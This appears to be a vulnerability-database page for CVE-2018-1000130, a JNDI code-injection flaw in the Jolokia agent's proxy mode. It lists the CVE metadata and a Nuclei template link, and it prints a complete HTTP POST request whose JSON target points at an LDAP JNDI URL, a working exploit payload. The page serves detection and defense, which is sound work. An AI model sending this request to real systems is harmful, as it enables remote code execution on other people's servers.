🔙 목록으로 돌아가기

CVE-2018-1000130: Jolokia Agent - JNDI Code Injection

TitleJolokia Agent - JNDI Code Injection
Authormilo2012
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
RemediationApply the latest security patches or updates provided by the vendor to fix the vulnerability.
CVSS Score8.1
EPSS Score0.91608
CVE IDCVE-2018-1000130
CWE IDCWE-74
Tags cve2018 cve jolokia rce jndi proxy vkev vuln

🔍 Vulnerability Description

Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode.

🌐 HTTP Request

POST /jolokia/read/getDiagnosticOptions HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 151
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

{

   "type":"read",

   "mbean":"java.lang:type=Memory",

   "target":{

      "url":"service:jmx:rmi:///jndi/ldap://127.0.0.1:1389/o=tomcat"

   }

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000130.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-1000130.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A